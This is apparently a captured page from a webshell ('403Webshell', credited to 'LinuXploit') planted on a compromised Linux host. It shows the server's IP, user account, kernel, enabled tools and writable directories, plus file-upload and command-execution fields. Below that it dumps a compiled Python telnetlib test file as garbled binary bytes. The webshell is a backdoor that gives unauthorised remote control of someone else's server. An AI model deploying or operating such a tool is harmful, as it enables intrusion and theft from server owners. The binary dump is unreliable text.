403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.153
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_telnetlib.cpython-36.opt-2.pyc
3

�
�^�2�@s.ddlZddlZddlZddlZddlmZddlZejd�Zej	Z	dd�Z
Gdd�dej�ZGdd	�d	e
�ZGd
d�dej�ZGdd
�d
ej�Zejdd��Zfefdd�ZGdd�dej�ZGdd�de�ZGdd�de
�ZeZGdd�dej�ZGdd�dej�ZGdd�de�Zedk�r*ej�dS)�N)�support�	threadingcCsT|j�|j�z4y|j�\}}|j�Wntjk
r@YnXWd|j�XdS)N)Zlisten�setZaccept�close�socket�timeout)�evtZservZconnZaddr�r	�3/opt/alt/python36/lib64/python3.6/test_telnetlib.py�servers
rc@sTeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)�GeneralTestscCsrtj�|_tjtjtj�|_|jjd�tj	|j�|_
tjt|j|jfd�|_
|j
jd�|j
j�|jj�dS)N�<)�target�argsT)rZEventrrZAF_INETZSOCK_STREAM�sockZ
settimeoutrZ	bind_port�portZThreadr�threadZ	setDaemon�start�wait)�selfr	r	r
�setUps

zGeneralTests.setUpcCs|jj�|`dS)N)r�join)rr	r	r
�tearDown#s
zGeneralTests.tearDowncCstjt|j�}|jj�dS)N)�	telnetlib�Telnet�HOSTrrr)r�telnetr	r	r
�	testBasic'szGeneralTests.testBasicc	Cs:tjt|j��}|j|j��WdQRX|j|j��dS)N)rrrrZassertIsNotNone�
get_socketZassertIsNone)r�tnr	r	r
�testContextManager,szGeneralTests.testContextManagercCs\|jtj�dk�tjd�ztjt|j�}Wdtjd�X|j|j	j
�d�|j	j�dS)N�)�
assertTruer�getdefaulttimeout�setdefaulttimeoutrrrr�assertEqualr�
gettimeoutr)rrr	r	r
�testTimeoutDefault1s
zGeneralTests.testTimeoutDefaultcCsb|jtj�dk�tjd�ztjt|jdd�}Wdtjd�X|j|jj	�dk�|jj
�dS)Nr!)r)r"rr#r$rrrrrr&r)rrr	r	r
�testTimeoutNone;s
zGeneralTests.testTimeoutNonecCs2tjt|jdd�}|j|jj�d�|jj�dS)Nr!)r)rrrrr%rr&r)rrr	r	r
�testTimeoutValueFszGeneralTests.testTimeoutValuecCs:tj�}|jt|jdd�|j|jj�d�|jj�dS)Nr!)r)	rr�openrrr%rr&r)rrr	r	r
�testTimeoutOpenKszGeneralTests.testTimeoutOpencCsJtjt|jdd�}|j}|j|j�|�|j|j�|j��|jj�dS)Nr!)r)	rrrrrr%r�filenor)rrZt_sockr	r	r
�testGettersQs
zGeneralTests.testGettersN)�__name__�
__module__�__qualname__rrrr r'r(r)r+r-r	r	r	r
rs

rc@s(eZdZffdd�Zdd�Zdd�ZdS)�
SocketStubcCst|�|_g|_d|_dS)NF)�list�reads�writes�block)rr3r	r	r
�__init__[s
zSocketStub.__init__cCs|jj|�dS)N)r4�append)r�datar	r	r
�sendall_szSocketStub.sendallcCs^d}x&|jr*t|�|kr*||jjd�7}qWt|�|krZ|jjd||d��|d|�}|S)N�r)r3�len�pop�insert)r�size�outr	r	r
�recvaszSocketStub.recvN)r.r/r0r6r9r@r	r	r	r
r1Ysr1c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�TelnetAlikecCs
t��dS)N)�NotImplementedError)rr	r	r
r,kszTelnetAlike.filenocCsdS)Nr	)rr	r	r
rmszTelnetAlike.closecCs
|jjS)N)rr5)rr	r	r
�
sock_availnszTelnetAlike.sock_availc
Gs>tj��}tjj||f|��WdQRX|j|j�7_dS)N)rZcaptured_stdoutrr�msg�	_messages�getvalue)rrDrr?r	r	r
rDps
zTelnetAlike.msgN)r.r/r0r,rrCrDr	r	r	r
rAjsrAc@sDeZdZdd�Zedd��Zddd�Zdd	�Zdd
d�Zdd
�Z	dS)�MockSelectorcCs
i|_dS)N)�keys)rr	r	r
r6xszMockSelector.__init__cCsdS)Ng����MbP?r	)rr	r	r
�
resolution{szMockSelector.resolutionNcCstj|d||�}||j|<|S)Nr)�	selectorsZSelectorKeyrH)r�fileobj�eventsr8�keyr	r	r
�registers
zMockSelector.registercCs|jj|�S)N)rHr<)rrKr	r	r
�
unregister�szMockSelector.unregistercCsHd}x"|jD]}t|t�r|jj}PqW|r0gSdd�|jj�D�SdS)NFcSsg|]}||jf�qSr	)rL)�.0rMr	r	r
�
<listcomp>�sz'MockSelector.select.<locals>.<listcomp>)rH�
isinstancerArr5�values)rrr5rKr	r	r
�select�s
zMockSelector.selectcCs|jS)N)rH)rr	r	r
�get_map�szMockSelector.get_map)N)N)
r.r/r0r6�propertyrIrNrOrTrUr	r	r	r
rGvs

rGc#s0�fdd�}ztj}|t_dVWd|t_XdS)Ncst��S)N)r1)Zignored)r3r	r
�new_conn�sztest_socket.<locals>.new_conn)rZcreate_connection)r3rWZold_connr	)r3r
�test_socket�s
rXc
Cs6x|D]}qWt|��|dd�}d|_WdQRX|S)N�dummyr�)rXrE)r3�cls�xrr	r	r
�test_telnet�s


r]c@seZdZdd�Zdd�ZdS)�ExpectAndReadTestCasecCstj|_tt_dS)N)r�_TelnetSelector�old_selectorrG)rr	r	r
r�szExpectAndReadTestCase.setUpcCs|jt_dS)N)r`rr_)rr	r	r
r�szExpectAndReadTestCase.tearDownN)r.r/r0rrr	r	r	r
r^�sr^c@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�	ReadTestscCs|dg}t|�}|jd�}|j|d|j|j|jjfd�dddddg}dj|dd
��}t|�}|jd�}|j||�dS)Nsxxxmatchyyysmatchsxxxmatch)rD�x�2�yr:����)r]Z
read_untilr%ZcookedqZrawqrr3r)r�wantrr8r3�expectr	r	r
�test_read_until�s

zReadTests.test_read_untilcCs@ddddddg}dj|�}t|�}|j�}|j||�dS)Nrbi�rd�zr:)rr]�read_allr%)rr3rhrr8r	r	r
�
test_read_all�s
zReadTests.test_read_allcCsFtddg�}|j�}|jt|�dk�t�}|j�}|jd|�dS)Nrbi�rer:)r]Z	read_somer"r;r%)rrr8r	r	r
�test_read_some�szReadTests.test_read_somecCszdd}t|g�}t||�}d|j_|jd|��d|j_d}x*y||�7}Wq@tk
rdPYq@Xq@W|j||�dS)Nrb�dTr:F)r]�getattrrr5r%�EOFError)rZ	func_namergr�funcr8r	r	r
�_read_eager�s

zReadTests._read_eagercCs|jd�|jd�dS)NZ
read_eagerZread_very_eager)rr)rr	r	r
�test_read_eager�s
zReadTests.test_read_eagercCs^dd}t|g�}|jd|j��x|jjr6|j�q$W|j�}|j||�|jt|j�dS)Nrbrnr:)r]r%�read_very_lazyrr3�	fill_rawqZassertRaisesrp)rrgrr8r	r	r
rt�s

zReadTests.read_very_lazycCs�dd}t|g�}|jd|j��d}xLy |j�}||7}|sF|j�Wntk
r^PYnX|j|j|��q(W|j||�dS)Nrbrnr:)r]r%Z	read_lazyrurpr"�
startswith)rrgrr8Z	read_datar	r	r
�test_read_lazys
zReadTests.test_read_lazyN)
r.r/r0rirlrmrrrsrtrwr	r	r	r
ra�s
rac@seZdZddd�Zdd�ZdS)�nego_collectorNcCsd|_||_d|_dS)Nr:)�seen�	sb_getter�sb_seen)rrzr	r	r
r6sznego_collector.__init__cCs<|j||7_|tjkr8|jr8|j�}|j|7_dS)N)ry�tl�SErzr{)rr�cmd�optZsb_datar	r	r
�do_negosznego_collector.do_nego)N)r.r/r0r6r�r	r	r	r
rxs
rxc@seZdZdd�ZdS)�
WriteTestscCs~ddtjddtjtjdtjtjdg}xH|D]@}t�}|j|�dj|jj�}|j|jtjtjtj�|�q6WdS)Nsdata sample without IACsdata sample withs one IACsa fews iacsr:)	r|�IACr]�writerrr4r%�replace)rZdata_sampler8rZwrittenr	r	r
�
test_write's

zWriteTests.test_writeN)r.r/r0r�r	r	r	r
r�#sr�c@s`eZdZejejejejejej	ej
ejgZdd�Z
dd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�OptionTestscCs�t|�}tdj|��}t�}|j|j�|j�}|j}|jt|�dk�|j	|dd�|j
�|j|dd�tj
�|j|t||��d|_dS)Nr:rre�)r]r;rrx�set_option_negotiation_callbackr�rkryr"�assertIn�cmdsr%r|ZNOOPTrz)rr8rZdata_len�nego�txtr~r	r	r
�
_test_command7szOptionTests._test_commandcCsjxN|jD]D}|jtj|g�|jddtj|ddg�|jdtj|dg�qW|jdd�|jD��dS)	Nrbrnrd�
cSsg|]}tj|�qSr	)r|r�)rPr~r	r	r
rQKsz1OptionTests.test_IAC_commands.<locals>.<listcomp>s
xxxxxxxxxxs
yyyyyyyyyy)r�r�r|r�)rr~r	r	r
�test_IAC_commandsEs
zOptionTests.test_IAC_commandscCs0tjtjtjtjtjtjtjtjtjtjtjtjtjtjdtjtjtjtjdtjtjtjtjtjtjdtjtjdtjtjg}t|�}t|j�}|j|j�|j	�}|j
|d�tjtjdtjdtjd}|j
|j|�|j
d|j��d|_dS)Nsaasbbsccsddr:saabb)
r|r�ZSBr}r]rxZread_sb_datar�r�rkr%r{rz)r�sendrr�r�Zwant_sb_datar	r	r
�test_SB_commandsMs"&&.
$zOptionTests.test_SB_commandscCs�d
tjtdg�dftjtjtdg�dftjtjtdg�dftjtjtdg�dftjtjtdg�d	fg}x:|D]2\}}t|g�}|jd�|j	�}|j
||j�q~WdS)N�a�: recv b''
�Xz: IAC 88 not recognized
rez: IAC DO 1
z
: IAC DONT 1
z
: IAC WILL 1
z
: IAC WONT 1
)r�r�)r|r��bytesZDOZDONTZWILLZWONTr]�set_debuglevelrkr�rE)rZgiven_a_expect_b�a�brr�r	r	r
�test_debuglevel_reads_s

z!OptionTests.test_debuglevel_readscCs0t�}|jd�|jd�d}|j||j�dS)Nresxxxzsend b'xxx'
)r]r�r�r�rE)rrZexpectedr	r	r
�test_debuglevel_writers


z!OptionTests.test_debuglevel_writec
CsJtg��tdd�}d|_WdQRX|jd�|jd�|j|jd�dS)NrY�0rZre�testz0.*test)rXrArEr�rDZassertRegex)rrr	r	r
�test_debug_accepts_str_portys



z'OptionTests.test_debug_accepts_str_portN)r.r/r0r|ZAOZAYTZBRKZECZELZGAZIPZNOPr�r�r�r�r�r�r�r	r	r	r
r�3s$r�c@seZdZdd�ZdS)�ExpectTestscCsBdddg}t|�}|jdg�\}}}|j|dj|dd	���dS)
Nrbr�smatchrdr:res
xxxxxxxxxxs
yyyyyyyyyyrf)r]rhr%r)rrgr�_r8r	r	r
�test_expect�s
zExpectTests.test_expectN)r.r/r0r�r	r	r	r
r��sr��__main__)rrJr�
contextlibr�rZunittest�
import_modulerrrZTestCaser�objectr1rrAZBaseSelectorrG�contextmanagerrXr]r^rarxr|r�r�r�r.�mainr	r	r	r
�<module>s.
B 
bP


Youez - 2016 - github.com/yon3zu
LinuXploit